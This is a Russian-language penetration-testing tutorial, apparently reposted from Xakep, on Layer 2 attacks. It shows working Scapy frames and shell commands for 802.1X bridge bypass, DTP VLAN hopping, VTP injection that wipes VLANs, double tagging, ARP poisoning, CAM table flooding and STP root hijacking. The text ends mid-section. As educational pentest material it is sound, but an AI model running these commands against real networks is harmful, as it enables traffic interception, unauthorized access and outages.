JustPaste.it

Хакер - Ethernet Abyss. Большой гайд по пентесту канального уровня сети

hacker_frei
ddf51c4bd21de013d3bf50f5cea14943.png

 

https://t.me/hacker_frei

necreas1ng

Содержание статьи

  • Импакт от атак
  • Дисклеймер и вооружение
  • Как обходить 802.1X
  • MAC Authentication Bypass
  • Bridge-based Attack
  • CDP x LLDP
  • Reconnaissance
  • CDP Flooding
  • Нападение на сети VLAN
  • Динамический транк и побег в другие сегменты VLAN
  • VTP-инъекции и манипуляции базами данных VLAN
  • Атака двойного тегирования
  • Сетевая разведка и перехват трафика с помощью ARP
  • ARP Harvesting
  • ARP Cache Poisoning
  • Переполнение ассоциативной памяти коммутатора
  • STP Root Hijacking
  • Как работает STP
  • Атака
  • VLAN ID Enumeration
  • Истощение и подмена DHCP-сервера
  • DHCP Starvation
  • DHCP Spoofing
  • Выводы

Ес­ли зло­умыш­ленник ата­кует сеть на каналь­ном уров­не, он может переп­рыгнуть через все средс­тва защиты, нас­тро­енные на более высоких уров­нях. В этой статье мы с тобой совер­шим увле­катель­ное путешес­твие по боль­шинс­тву век­торов атак на этот самый низ­кий уро­вень сети.

WARNING

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

ИМПАКТ ОТ АТАК

Ос­новная задача ата­кующе­го — получить дос­туп к ресур­сам компь­ютер­ной сети или нарушить нор­маль­ную работу сети (Denial of Service). В боль­шинс­тве слу­чаев ата­ки каналь­ного уров­ня про­водят­ся вмес­те, что­бы извлечь боль­ше поль­зы от экс­плу­ата­ции. Нап­ример, ата­ка с перепол­нени­ем ассо­циатив­ной памяти ком­мутато­ра соз­дает иде­аль­ные усло­вия для перех­вата тра­фика. Ата­ка на про­токол DTP поз­воля­ет наруши­телю совер­шить побег в дру­гую сеть VLAN и ском­про­мети­ровать сег­менты VLAN.

Ата­ки каналь­ного уров­ня мож­но раз­бить на три типа:

  • MITM. Зло­умыш­ленник «вста­ет посере­дине» меж­ду сетевы­ми устрой­ства­ми и перех­ватыва­ет тра­фик. Но при этом для легитим­ных хос­тов в сети видимых приз­наков ата­ки нет;
  • DoS. Зло­умыш­ленник может про­вес­ти раз­рушитель­ную ата­ку на сетевое обо­рудо­вание, что­бы вывес­ти его из строя. Такие ата­ки в пен­тестах менее прак­тичны и годят­ся толь­ко как отвле­кающий маневр при ред­тимин­ге;
  • не­сан­кци­они­рован­ный дос­туп к сег­ментам сети. Зло­умыш­ленник, исполь­зуя недос­татки про­токо­лов, неп­ред­ска­зуемым обра­зом может получить дос­туп к тем учас­ткам сети, дос­тупа к которым быть не дол­жно. Нап­ример, это ата­ки DTP VLAN Hopping, Double Tagging.

ДИСКЛЕЙМЕР И ВООРУЖЕНИЕ

На каналь­ном уров­не мно­го век­торов для атак типа «отказ в обслу­жива­нии». Преж­де чем экс­плу­ати­ровать их в ходе пен­теста, обя­затель­но сог­ласуй свои шаги с заказ­чиком! При­мене­ние DoS-атак в рам­ках про­дак­шена — шту­ка спе­цифич­ная. На мой взгляд, они полез­нее все­го при ред­тимин­ге для отвле­чения синей коман­ды.

Мы с тобой поюзаем сле­дующие инс­тру­мен­ты:

  • Yersinia — фрей­мворк для про­веде­ния атак на L2 и стресс‑тес­та компь­ютер­ных сетей;
  • Scapy — модуль Python для манипу­лиро­вания сетевы­ми пакета­ми. Может слу­жить как сниф­фером, так и пакет­ным инжекто­ром;
  • FENRIR — фрей­мворк, соз­данный для обхо­да 802.1X в сетях Ethernet.

КАК ОБХОДИТЬ 802.1X

IEEE 802.1X — это стан­дарт аутен­тифика­ции и авто­риза­ции конеч­ных або­нен­тов на каналь­ном уров­не. Он под­держи­вает кон­троль дос­тупа и не поз­воля­ет устрой­ствам под­клю­чать­ся к локаль­ной сети, не прой­дя спе­циаль­ный про­цесс авто­риза­ции. Это поз­воля­ет сущес­твен­но повысить уро­вень защищен­ности локаль­ной сети, отсе­кая несан­кци­они­рован­ные под­клю­чения. Для пен­тесте­ров 802.1X может ока­зать­ся серь­езной проб­лемой.

MAC Authentication Bypass

Этот очень прос­той метод обхо­да 802.1X. MAB исполь­зует­ся для устрой­ств, которые не под­держи­вают аутен­тифика­цию 802.1x. Гру­бо говоря, это MAC-авто­риза­ция. MAB обой­ти очень прос­то. Нам нуж­но прос­то най­ти какое‑нибудь легитим­ное устрой­ство, спи­сать с него MAC-адрес и нас­тро­ить этот MAC-адрес на сетевой интерфейс ата­кующей машины. Под­клю­чаем­ся к ком­мутато­ру и получа­ем дос­туп к сети. Не буду показы­вать эту ата­ку на прак­тике, она слиш­ком прос­та.

Bridge-based Attack

Са­мый популяр­ный и эффектив­ный метод обхо­да 802.1X — ата­ка на осно­ве мос­та. Для реали­зации нуж­но помес­тить свое устрой­ство меж­ду легитим­ным кли­ентом, про­шед­шим аутен­тифика­цию 802.1X, и ком­мутато­ром. Ком­мутатор выс­тупа­ет в роли аутен­тифика­тора и обес­печива­ет связ­ность меж­ду кли­ентом и сер­вером аутен­тифика­ции.

Толь­ко у этой ата­ки есть одно огра­ниче­ние. Что­бы ее про­экс­плу­ати­ровать в про­дак­шене, нуж­но легитим­ное устрой­ство, про­шед­шее аутен­тифика­цию 802.1X. Им может быть какой‑нибудь прин­тер, IP-телефон, воз­можно, ты суме­ешь отыс­кать ноут­бук какого‑нибудь сот­рудни­ка.

Для демонс­тра­ции ата­ки я буду исполь­зовать инс­тру­мент FENRIR.

7589249f79ae5a79e84d91d14ecec03b.png
6c4897472ff17736d1521e0795f717f0.png

Для начала нам надо перевес­ти физичес­кие интерфей­сы в режим promiscious (нераз­борчи­вый режим):

c0ldheim@PWN:~$ sudo ifconfig eth0 promisc

c0ldheim@PWN:~$ sudo ifconfig eth1 promisc

За­пус­каем FENRIR и наз­нача­ем IP-адрес легитим­ного устрой­ства, его MAC-адрес и два интерфей­са нашей ата­кующей машины. В боевых усло­виях всю информа­цию ты смо­жешь най­ти, прос­лушивая тра­фик. В качес­тве hostIface выс­тупит интерфейс, смот­рящий в сто­рону легитим­ного устрой­ства, netIface — это интерфейс, который смот­рит в сто­рону ком­мутато­ра. Пос­ле это­го соз­даем бридж, он будет называть­ся FENRIR.

c0ldheim@PWN:~$ sudo python2 Interface.py

FENRIR > set host_ip 10.1.1.3

FENRIR > set host_mac 50:00:00:04:00:00

FENRIR > set hostIface eth1

FENRIR > set netIface eth0

FENRIR > create_virtual_tap

Пос­ле соз­дания брид­жа его необ­ходимо нас­тро­ить. Перек­люча­ем его в режим promiscious, наз­нача­ем жела­емый IP-адрес с соб­людени­ем мас­ки под­сети. В кон­це добав­ляем мар­шрут по умол­чанию для соз­данно­го брид­жа FENRIR.

c0ldheim@PWN:~$ sudo ifconfig FENRIR promisc

c0ldheim@PWN:~$ sudo ifconfig FENRIR 10.1.1.50 netmask 255.255.255.0

c0ldheim@PWN:~$ sudo route add default gw 10.1.1.254 FENRIR

Ко­ман­дой run в кон­соли инс­тру­мен­та FENRIR начина­ем ата­ку.

FENRIR > run

Те­перь у нас есть дос­туп к сети, можем про­вес­ти даль­нейшую сетевую раз­ведку, обна­ружить соседей в этой сети. Запус­каем ARP-ска­ниро­вание с помощью netdiscover.

netdiscover.png

Про­верим, дос­тупен ли путь к мар­шру­тиза­тору.

b6ad3b335d4e280b1b34d98847197c80.png

Пос­ле экс­плу­ата­ции ата­ки легитим­ный хост не потерял соеди­нение и име­ет дос­туп в интернет.

ping-stage2.png
904fb367e7f73b4bf7f53217d4c77bed.png

CDP X LLDP

Reconnaissance

Дамп тра­фика CDP/LLDP дает боль­шой импакт, пос­коль­ку наруши­тель получа­ет мно­го информа­ции о сетевом устрой­стве — начиная от модели устрой­ства и закан­чивая даже типом дуп­лекса. Информа­ция, получен­ная из дам­па тра­фика CDP/LLDP, будет полез­ной для зло­умыш­ленни­ка. Он может ее исполь­зовать, что­бы опре­делить вер­сию про­шив­ки ком­мутато­ра. Если в ней най­дет­ся извес­тная уяз­вимость, то зло­умыш­ленник смо­жет про­вес­ти ата­ку.

9af7fb298ad5fdd1fc9e41416dedbff4.png
cd8936e56674f071d22044de5880b093.png

CDP Flooding

Зло­умыш­ленник может выз­вать отказ в обслу­жива­нии ком­мутато­ра Cisco, если разош­лет огромное количес­тво сооб­щений CDP. Цен­траль­ный про­цес­сор ком­мутато­ра будет пол­ностью перег­ружен, а таб­лица соседей CDP нач­нет перепол­нять­ся. Ата­ка дос­таточ­но прос­тая, поэто­му мно­го о ней говорить не буду.

88924da4984b6e99e253136dc2ae9b96.png

Что­бы про­вес­ти эту ата­ку, вос­поль­зуем­ся Yersinia. Нас инте­ресу­ет опция flooding CDP table, она вызовет лавин­ную и очень быс­трую рас­сылку кад­ров CDP, которые при­ведут к перег­рузке цен­траль­ного про­цес­сора ком­мутато­ра, что сде­лает невоз­можной нор­маль­ную работу сети.

d999d84e42bd6b9164e5abf1bc55628a.png
54e5be8213bf01c1339a98995557aae4.png
faa2e54a1c6cb5f75a8c8b9ed69a173c.png
72c4d3c69796d67b8eb5d39989addc5e.png

НАПАДЕНИЕ НА СЕТИ VLAN

Динамический транк и побег в другие сегменты VLAN

Эта ата­ка при­мени­ма толь­ко к ком­мутато­рам Cisco. Суть ата­ки зак­люча­ется в том, что­бы при­нуди­тель­но перевес­ти порт в режим магис­траль­ного канала. За авто­мати­чес­кий тран­кинг на ком­мутато­рах Cisco отве­чает про­токол DTP. По умол­чанию все пор­ты ком­мутато­ра Cisco находят­ся в режиме DTP Dynamic Auto. Это озна­чает, что порт будет ожи­дать ини­циацию тран­ка с сосед­него пор­та. Ата­кующе­му оста­ется толь­ко отпра­вить спе­циаль­но под­готов­ленный кадр DTP Desirable, и он смо­жет совер­шить пры­жок абсо­лют­но в любую сеть VLAN и видеть тра­фик всех сетей VLAN. Под­робнее об этой ата­ке ты смо­жешь узнать из моей статьи «Как взло­мать про­токол DTP и совер­шить побег в дру­гую сеть VLAN».

e810f78626ac5d32b93a3b9c0565d677.png

Со­берем кадр DTP Desirable с помощью Scapy. Для начала необ­ходимо импорти­ровать модуль для работы с про­токо­лом DTP:

>>> from.scapy.contrib.dtp import *

Со­бира­ем фрейм Ethernet 802.3, MAC-адрес источни­ка будет ран­домизи­рован­ным, а в качес­тве MAC-адре­са наз­начения будет адрес муль­тикас­товой L2-рас­сылки 01:00:0C:CC:CC:CC.

INFO

Муль­тикас­товый адрес 01:00:0C:CC:CC:CC исполь­зует­ся не толь­ко про­токо­лом DTP, но и дру­гими, нап­ример CDP, VTP, PAgP, UDLD. Что­бы про­токо­лы отли­чались друг от дру­га при отправ­ке объ­явле­ний по оди­нако­вому муль­тикас­товому адре­су, для них реали­зова­но уни­каль­ное зна­чение в заголов­ке SNAP на уров­не LLC (Logical Link Control). Для DTP это зна­чение рав­но 0x2004.

Не забыва­ем о сло­ях LLC и SNAP с ука­зани­ем зна­чения 0x2004, опре­деля­юще­го, что это имен­но про­токол DTP. Зна­чения заголов­ков в tlvlist оставля­ем по умол­чанию, кро­ме DTPNeighbor. И в кон­це зацик­лим отправ­ку соб­ранно­го кад­ра — пусть шлет­ся раз в три секун­ды. Потому что если порт был скон­фигури­рован динами­чес­ки, то вре­мя его жиз­ни все­го 300 секунд (5 минут).

>>> mymac = RandMAC()

>>> dtp_frame = Dot3(src=mymac, dst="01:00:0C:CC:CC:CC")

>>> dtp_frame /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)/SNAP(OUI=0x0c, code = 0x2004)

>>> dtp_frame /= DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])

>>> sendp(dtp_frame, iface="eth0", inter=3, loop=1, verbose=1)

По­чему‑то в Scapy в дефол­тном кад­ре DTP по умол­чанию хра­нят­ся все необ­ходимые зна­чения, что­бы соб­рать имен­но кадр DTP Desirable. Я пока не знаю, с чем это свя­зано, но нам это на руку: сэконо­мим вре­мя. Поэто­му мы оста­вили парамет­ры DTP по умол­чанию (за исклю­чени­ем DTPNeighbor).

Од­нако вкрат­це рас­ска­жу о самых важ­ных для нас заголов­ках и их зна­чени­ях:

  • DTPType = '\xa5' — зна­чение заголов­ка, ука­зыва­ющее на исполь­зование инкапсу­ляции 802.1Q;
  • DTPStatus = '\x03' — зна­чение заголов­ка, ука­зыва­ющее на ста­тус DTP-кад­ра. Это ста­тус Desirable, то, что нам нуж­но для ини­циации магис­траль­ного режима пор­та.
1dbe6a6b0b999452dcbaac9b017c91fa.png

Пос­ле про­веде­ния ата­ки мы можем видеть тра­фик всех сетей VLAN. В резуль­тате сетевой раз­ведки обна­руже­ны сети VLAN 100, 200, 220 и 250. Эти зна­чения VLAN ID рас­положе­ны в одном из заголов­ков про­токо­ла STP — Root Identifier (Root Bridge System ID Extension).

7b7123dc2c4c9b0fc48bd43a8b4509e5.png

Те­перь необ­ходимо соз­дать вир­туаль­ные интерфей­сы VLAN, под­нять их и зап­росить адрес по DHCP. В ито­ге мы смо­жем вза­имо­дей­ство­вать со все­ми хос­тами во всех сетях VLAN.

c0ldheim@PWN:~$ sudo vconfig add eth0 100

c0ldheim@PWN:~$ sudo vconfig add eth0 200

c0ldheim@PWN:~$ sudo vconfig add eth0 220

c0ldheim@PWN:~$ sudo vconfig add eth0 250

c0ldheim@PWN:~$ sudo ifconfig eth0.100 up

c0ldheim@PWN:~$ sudo ifconfig eth0.200 up

c0ldheim@PWN:~$ sudo ifconfig eth0.220 up

c0ldheim@PWN:~$ sudo ifconfig eth0.250 up

c0ldheim@PWN:~$ sudo dhclient -v eth0.100

c0ldheim@PWN:~$ sudo dhclient -v eth0.200

c0ldheim@PWN:~$ sudo dhclient -v eth0.220

c0ldheim@PWN:~$ sudo dhclient -v eth0.250

3fd59e84836a943df249442072c736ea.png
fa30033aac0e63d361819c94d9cdc170.png

VTP-инъекции и манипуляции базами данных VLAN

Про­токол VTP был соз­дан для того, что­бы авто­мати­чес­ки и цен­тра­лизо­ван­но управлять базами дан­ных VLAN на ком­мутато­рах Cisco. Для это­го исполь­зуют­ся номера ревизии кон­фигура­ции. С их помощью ком­мутатор опре­деля­ет самую све­жую базу дан­ных VLAN, при­нима­ет объ­явле­ния VTP и обновля­ет БД VLAN, уви­дев боль­ший номер ревизии.

Роли коммутаторов в домене VTP

  • VTP Server. Ком­мутатор в роли VTP Server может соз­давать новые VLAN, уда­лять ста­рые или менять информа­цию в самих VLAN. Так­же он занима­ется генери­рова­нием объ­явле­ний VTP для осталь­ных чле­нов домена.
  • VTP Client. Ком­мутатор в этой роли будет получать спе­циаль­ные анон­сы VTP от дру­гих ком­мутато­ров в домене, что­бы обновлять базы дан­ных VLAN у себя. Кли­енты огра­ниче­ны в воз­можнос­тях соз­давать VLAN и даже не име­ют пра­ва локаль­но изме­нять кон­фигура­цию VLAN. Ина­че говоря, дос­туп read only.
  • VTP Transparent. В этом режиме ком­мутатор не учас­тву­ет в про­цес­сах VTP и может вес­ти у себя пол­ное и локаль­ное адми­нис­три­рова­ние всей кон­фигура­ции VLAN. Работая в проз­рачном режиме, ком­мутато­ры занима­ются толь­ко переда­чей объ­явле­ний VTP от дру­гих ком­мутато­ров, не зат­рагивая свою кон­фигура­цию сетей VLAN. У таких ком­мутато­ров номер ревизии всег­да будет равен нулю, и про­тив них ата­ки с инъ­екци­ей VTP не про­вес­ти.

Типы объявлений в домене VTP

  • Summary Advertisement — объ­явле­ние VTP, отправ­ляемое сер­вером VTP каж­дые 300 секунд (5 минут). В этом объ­явле­нии хра­нит­ся имя домена VTP, вер­сия про­токо­ла, отметка вре­мени и зна­чение MD5-хеша кон­фигура­ции;
  • Subset Advertisement — объ­явле­ние VTP, которое отправ­ляет­ся при каж­дом изме­нении кон­фигура­ции VLAN;
  • Advertisement Request — это зап­рос от кли­ента VTP к сер­веру VTP на сооб­щение Summary Advertisement. Обыч­но рас­сыла­ется в ответ на сооб­щение о том, что ком­мутатор обна­ружил Summary Advertisement с бóльшим номером ревизии кон­фигура­ции.

Что­бы ата­ковать домен VTP, необ­ходимо, что­бы порт, к которо­му ты под­клю­чен во вре­мя ата­ки, был в режиме магис­траль­ного канала. Кста­ти говоря, ата­ка на VTP может быть сле­дующим шагом пос­ле того, как ты ата­ковал про­токол DTP и стал тран­ковым каналом. Зло­умыш­ленник смо­жет про­водить VTP-инъ­екции и отправ­лять яко­бы «обновлен­ные» базы дан­ных VLAN с бóльшим номером ревизии. Легитим­ные ком­мутато­ры, в свою оче­редь, при­мут и обно­вят свои базы дан­ных VLAN. Про­вес­ти такую ата­ку нам поможет Yersinia. Рас­смот­рим ата­ку на VTPv1 с пос­леду­ющим уда­лени­ем всех VLAN.

ea1ded9709e91233419c8d74b4f95b6c.png
842413835892f2c5344b606fd76e6c74.png
63d8d1e2cb03797eb59c68b1ce2bfa2c.png

Yersinia сге­нери­рует спе­циаль­ные VTP-объ­явле­ния Summary Advertisement и Subset Advertisement.

1419d6fc77311bba1af305b35c112673.png

Как видим, пос­ле про­веде­ния ата­ки все соз­данные VLAN были уда­лены. VLAN 1 и VLAN в диапа­зоне 1002–1005 никуда не денут­ся, пос­коль­ку соз­даны по умол­чанию.

507eaa43bf7c2d6e10ad70ea42e95ced.png

Атака двойного тегирования

Ата­ка двой­ного тегиро­вания осно­вана на исполь­зовании осо­бен­ностей инкапсу­ляции 802.1Q в сетях Ethernet. В боль­шинс­тве слу­чаев ком­мутато­ры исполня­ют толь­ко один уро­вень про­цес­са, деин­капсу­ляции 802.1Q. Это откры­вает путь для экс­плу­ата­ции, пос­коль­ку такая осо­бен­ность поз­воля­ет пен­тесте­ру скрыть в кад­ре Ethernet вто­рую мет­ку 802.1Q.

Вот как в деталях про­исхо­дит ата­ка:

  • Зло­умыш­ленник собира­ет кадр Ethernet с дву­мя тегами и отправ­ляет его в сто­рону ком­мутато­ра. VLAN ID пер­вой мет­ки 802.1Q дол­жна сов­падать со зна­чени­ем Native VLAN пор­та, находя­щего­ся в магис­траль­ном режиме. Для удобс­тва вос­при­ятия пред­ста­вим, что пер­вая мет­ка 802.1Q будет VLAN 1, а вто­рая мет­ка 802.1Q — VLAN 100
  • Кадр попада­ет на ком­мутатор SW 1. Ком­мутатор про­веря­ет пер­вые четыре бай­та мет­ки 802.1Q. Ком­мутатор видит, что кадр пред­назна­чен для VLAN 1, которая в его кон­фигура­ции явля­ется сетью Native VLAN. Ком­мутатор SW1 унич­тожа­ет эту мет­ку. В это же вре­мя вто­рая мет­ка VLAN 100 оста­ется целой и никуда не про­пада­ет.

INFO

Native VLAN — это спе­циаль­ный VLAN, к которо­му ком­мутатор ассо­циирует все кад­ры без тега 802.1Q. По умол­чанию иден­тифика­тор Native VLAN равен еди­нице.

  • Да­лее ком­мутатор SW2 про­веря­ет толь­ко внут­реннюю мет­ку 802.1Q и видит, что дан­ный кадр пред­назна­чен для сети VLAN 100. Этот ком­мутатор отправ­ляет кадр на порт, который при­над­лежит сети VLAN 100, и кадр дос­тига­ет сво­его пун­кта наз­начения.
417d3bb5fa19d0adc3304c3cdac7a348.png
d6623117e0cd34a75461938c6ca64fd1.png
8fe0fb9509987ca2dc25820aed9e99ce.png

Вос­поль­зуем­ся Scapy, что­бы соб­рать широко­веща­тель­ный кадр Ethernet с дву­мя мет­ками 802.1Q. Так­же будет добав­лен слой ICMP, что­бы наг­лядно показать, как кадр доберет­ся до наз­начения и отве­тит на фаль­сифици­рован­ный зап­рос ICMP. Отпра­вим этот зап­рос яко­бы от машины Nefarian под IP-адре­сом 10.10.200.1.

>>> frame = Ether(dst="FF:FF:FF:FF:FF:FF")

>>> first_DOT1Q_tag = Dot1Q(vlan=1)

>>> second_DOT1Q_tag = Dot1Q(vlan=100)

>>> ip_packet = IP(src="10.10.200.1", dst="10.10.100.1")

>>> icmp_layer = ICMP()

>>> crafted = frame / first_DOT1Q_tag / second_DOT1Q_tag / ip_packet / icmp_layer

>>> sendp(crafted, iface="eth0", count=40, loop=0, verbose=1)

3d05b3cf92c3f28dff5a7d396cc7ea6a.png

Как видим, пакет при­бежал на хост наз­начения, но с одной мет­кой VLAN ID 100, пос­коль­ку пер­вый тег VLAN 1 был унич­тожен пер­вым ком­мутато­ром SW1. Имей в виду, что это односто­рон­няя ата­ка. Воз­можно, она будет полез­на при нападе­нии на сег­мент DMZ во вре­мя пен­теста.

СЕТЕВАЯ РАЗВЕДКА И ПЕРЕХВАТ ТРАФИКА С ПОМОЩЬЮ ARP

ARP Harvesting

Про­токол ARP может быть очень полезен в рам­ках сетевой раз­ведки. Ска­ниро­вание ARP поз­воля­ет про­вес­ти перечис­ление активных хос­тов и име­ет неболь­шое пре­иму­щес­тво перед ICMP-ска­ниро­вани­ем, пос­коль­ку тра­фик ICMP в кор­поратив­ной сети может быть огра­ничен, а то и вов­се вык­лючен.

Проб­лема ска­ниро­вания ARP в том, что это очень шум­ный спо­соб сетевой раз­ведки. С этим спо­собом нуж­но быть осто­рож­ным, что­бы не спро­воци­ровать тре­вогу сис­тем безопас­ности IPS/IDS. Да и на пор­те, к которо­му ты под­клю­чен, может быть скон­фигури­рован Storm Control, бло­киру­ющий порт при ано­маль­ном широко­веща­тель­ном тра­фике (тра­фик про­токо­ла ARP — широко­веща­тель­ный).

C помощью ARPScanner.py можем обна­ружить активные хос­ты в сети 10.1.1.0/24 и их MAC-адре­са. В моем слу­чае тес­товая сеть малень­кая, но тем не менее.

c0ldheim@PWN:~$ sudo python3 ARPScanner.py -t 10.1.1.0/24 -i eth0

9062699a53eb752ce2cde3a93545fd9f.png

ARP Cache Poisoning

Тех­ника этой сетевой ата­ки зак­люча­ется в исполь­зовании недос­татков про­токо­ла ARP. Абсо­лют­но любой хост в сети может вызывать ARP-зап­росы и при­нимать их, они это дела­ют без механиз­ма аутен­тифика­ции (в про­токо­ле ARP не пре­дус­мотрен механизм аутен­тифика­ции), поэто­му все хос­ты доверя­ют друг дру­гу. Зло­умыш­ленни­ку дос­таточ­но отпра­вить фаль­сифици­рован­ные отве­ты ARP в сто­рону цели A и цели B. С помощью под­делыва­ния отве­тов ARP компь­ютер ата­кующе­го позици­они­рует­ся целью А для цели B и наобо­рот, тем самым встав посере­дине. Это соз­дает усло­вия для перех­вата тра­фика.

На кар­тинке ниже пред­став­лен при­мер отравле­ния кеша ARP.

arp-spoof-map.png

Пе­рей­дем к прак­тике. Для начала необ­ходимо перек­лючить наш интерфейс в нераз­борчи­вый режим и раз­решить фор­вардинг меж­ду интерфей­сами. Ина­че два хос­та потеря­ют связ­ность меж­ду собой, ведь тра­фик будет идти через нас, а фор­вардин­га меж­ду интерфей­сами нет.

c0ldheim@PWN:~$ ifconfig eth0 promisc

c0ldheim@PWN:~$ sudo sysctl -w net.ipv4.ip_forward=1

С помощью скрип­та ARPSpoofer.py запус­каем про­цесс отравле­ния ARP. В качес­тве пер­вой цели ука­жем машину на Windows с IP-адре­сом 10.1.1.2, в качес­тве вто­рой — FTP-сер­вер с адре­сом 10.1.1.5.

c0ldheim@PWN:~$ sudo python3 ARPSpoofer.py -t1 10.1.1.2 -t2 10.1.1.5 -i eth0

Пос­ле это­го мож­но перехо­дить к эта­пу прос­лушива­ния сетево­го тра­фика.

e72a046afab26ce1c8031d7a693da28a.png

ПЕРЕПОЛНЕНИЕ АССОЦИАТИВНОЙ ПАМЯТИ КОММУТАТОРА

Иног­да такая ата­ка называ­ется перепол­нени­ем таб­лицы MAC-адре­сов. Прин­цип этой ата­ки сос­тоит в том, что­бы выз­вать перепол­нение ком­мутаци­онной мат­рицы. В слу­чае чего ком­мутатор, гру­бо говоря, прев­раща­ется в хаб и начина­ет рас­сылать пос­тупа­ющие кад­ры во все пор­ты, что вызыва­ет иде­аль­ные усло­вия для перех­вата тра­фика. Вызывать перепол­нение очень прос­то, ведь у ком­мутато­ров огра­ничен раз­мер таб­лиц MAC-адре­сов. При запол­нении таб­лицы MAC-адре­сов зло­умыш­ленник смо­жет видеть все рас­сыла­емые кад­ры из всех пор­тов.

f528a1569c18c31cf4f183cea61ac146.png

Вос­поль­зуем­ся Scapy, что­бы про­вес­ти такую ата­ку. В качес­тве MAC-адре­са источни­ка пусть будет ран­домизи­рован­ный MAC-адрес, каж­дый новый генери­рующий­ся кадр будет с новым MAC-адре­сом. MAC-адре­сов наз­начения это тоже каса­ется.

Да­лее с помощью метода sendp выпол­няем рас­сылку фик­тивных кад­ров Ethernet. Задав loop = 1, зацик­лим отправ­ку этих кад­ров.

>>> malicious_frames = Ether(src=RandMAC(), dst=RandMAC())

>>> sendp(malicious_frames, iface="eth0", loop=1, verbose=1)

736d6d99886349af9e36398662033e44.png

Таб­лица MAC-адре­сов ком­мутато­ра до ата­ки:

CoreSW#show mac address-table count

Mac Entries for Vlan 1:

---------------------------

Dynamic Address Count : 3

Static Address Count : 0

Total Mac Addresses : 3

Total Mac Address Space Available: 7981

Таб­лица MAC-адре­сов ком­мутато­ра пос­ле ата­ки:

CoreSW#show mac address-table count

Mac Entries for Vlan 1:

---------------------------

Dynamic Address Count : 7981

Static Address Count : 0

Total Mac Addresses : 7981

Total Mac Address Space Available: 7981

По­ка таб­лица MAC-адре­сов не запол­нена, ком­мутатор будет переда­вать все кад­ры из всех пор­тов, исполь­зуя широко­веща­тель­ную рас­сылку.

STP ROOT HIJACKING

Как работает STP

STP необ­ходим для того, что­бы обес­печить отка­зоус­той­чивость компь­ютер­ной сети на каналь­ном уров­не. Для это­го бло­киру­ются избы­точ­ные каналы, что­бы не выз­вать в сети широко­веща­тель­ный шторм. По моему мне­нию, STP — это уста­рев­ший метод орга­низа­ции отка­зоус­той­чивос­ти на уров­не L2, учи­тывая, что есть сис­тема агре­гиро­вания ком­мутаци­онных каналов и тех­нология Storm Control.

Ког­да тополо­гия STP толь­ко собира­ется, наз­нача­ется спе­циаль­ный кор­невой ком­мутатор (ина­че говоря, root bridge). Выбор осно­выва­ется на спе­циаль­ном зна­чении при­ори­тета (по умол­чанию это зна­чение экви­вален­тно 32 768). У всех ком­мутато­ров в домене STP это зна­чение оди­нако­вое, поэто­му выбор опре­деля­ется сло­жени­ем сле­дующих парамет­ров:

  • зна­чение при­ори­тета 32 768;
  • MAC-адрес ком­мутато­ра.

Ком­мутатор, у которо­го мень­ше MAC-адрес, ста­нет кор­невым ком­мутато­ром. Про­изво­дите­ли сетевых устрой­ств наз­нача­ют MAC-адре­са сво­им детищам пос­ледова­тель­но. Чем ста­рее устрой­ство, тем его MAC-адрес мень­ше. От это­го в про­дак­шене кор­невым ком­мутато­ром час­то ста­новит­ся какой‑нибудь древ­ний свитч! 

 Про­пус­кная спо­соб­ность сети от это­го, конеч­но, стра­дает.

Пос­ле того как прош­ли выборы кор­невого ком­мутато­ра, осталь­ные свит­чи выбира­ют пор­ты, которые смот­рят в сто­рону кор­невого ком­мутато­ра. Их исполь­зуют для фор­вардин­га тра­фика. Затем будут выб­раны пор­ты, которые заб­локиру­ются на логичес­ком уров­не. Таким обра­зом STP поз­воля­ет избе­жать воз­никно­вения ком­мутаци­онно­го коль­ца, вызыва­юще­го широко­веща­тель­ный шторм.

Атака

Но если в домене STP вне­зап­но появит­ся новый ком­мутатор, при­ори­тет которо­го ниже, чем при­ори­тет текуще­го кор­невого ком­мутато­ра, будет выб­ран новый кор­невой ком­мутатор. Таким обра­зом, изме­няя струк­туру тополо­гии STP, мож­но перех­ватывать легитим­ный сетевой тра­фик.

426ed82ae4e7cac287bf5139e72a3938.png

Для начала переве­дем наши физичес­кие интерфей­сы в нераз­борчи­вый режим, соз­дадим мост br-evil и наз­начим это­му мос­ту два интерфей­са eth0 и eth1:

c0ldheim@PWN:~$ sudo ifconfig eth0 promisc

c0ldheim@PWN:~$ sudo ifconfig eth1 promisc

c0ldheim@PWN:~$ sudo brctl addbr br-evil

c0ldheim@PWN:~$ sudo brctl addif br-evil eth0

c0ldheim@PWN:~$ sudo brctl addif br-evil eth1

c0ldheim@PWN:~$ sudo ifconfig br-evil promisc

c0ldheim@PWN:~$ sudo ifconfig br-evil up

Те­перь нуж­но раз­решить фор­вардинг тра­фика меж­ду интерфей­сами.

c0ldheim@PWN:~$ sudo sysctl -w net.ipv4.ip_forward=1

Нам при­годит­ся Scapy — соб­рать спе­циаль­ный STP-фрейм. Необ­ходимо импорти­ровать модуль для работы с про­токо­лами L2.

>>> from scapy.layers.l2 import *

За­тем собира­ем необ­ходимый кадр STP с наимень­шим зна­чени­ем MAC-адре­са в перемен­ных src,rootmac и bridgemac. И напос­ледок зацик­лим отправ­ку это­го фрей­ма раз в 3 секун­ды:

>>> frame = Ether(src="00:00:00:00:00:11", dst="01:80:C2:00:00:00")

>>> frame /= LLC()/STP(rootmac="00:00:00:00:00:11", bridgemac="00:00:00:00:00:11")

>>> sendp(frame, iface="br-evil", inter=3, loop=1, verbose=1)

INFO

Для рас­сылки слу­жеб­ных TCN-сооб­щений STP исполь­зует MAC-адрес муль­тикас­товой рас­сылки 01:80:C2:00:00:00.

Пос­ле отправ­ки соз­данно­го нами фрей­ма видим сооб­щения STP TCN. Они исполь­зуют­ся для того, что­бы ком­мутато­ры в домене STP обме­нива­лись слу­жеб­ной информа­цией меж­ду собой.

stp-dump.png

Сос­тояние STP на ком­мутато­ре SW1 пос­ле ата­ки:

VLAN0001

Spanning tree enabled protocol rstp

Root ID Priority 32769

Address 5000.0007.0000

Cost 4

Port 1 (GigabitEthernet0/0)

Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

Bridge ID Priority 32769 (priority 32768 sys-id-ext 1)

